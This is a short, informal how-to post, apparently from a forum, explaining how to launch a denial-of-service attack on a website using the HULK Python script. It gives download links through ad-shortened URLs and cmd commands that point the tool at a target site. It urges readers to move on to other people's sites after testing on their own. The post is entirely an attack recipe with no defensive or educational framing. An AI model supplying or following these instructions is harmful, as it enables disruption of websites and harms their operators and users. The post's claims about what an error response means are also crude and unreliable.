how to do dos attack

hi guyz here how to do dos attack 
first you must have python27 you can get it from here
http://adf.ly/1FM6Oz
and you need hulk.py you can get it from here 
http://adf.ly/1FM6rP
1)open cmd and type cd c:\python27 (where you install it)
2)hit inter
3)put the hulk.py file in the disk (C)
4)type c:\hulk.py http://www.the site you want to shut it down.com
5)you will now see (hulk attack start)
6)wait a second you will see a text sometime look like respong error 500
7)that mean the website will shutdown
that's it
note1:first try it in your own website then try it on simple site
note2:sometims you may see it shut down but its not shut down for any user so dos is not like ddos ddos is better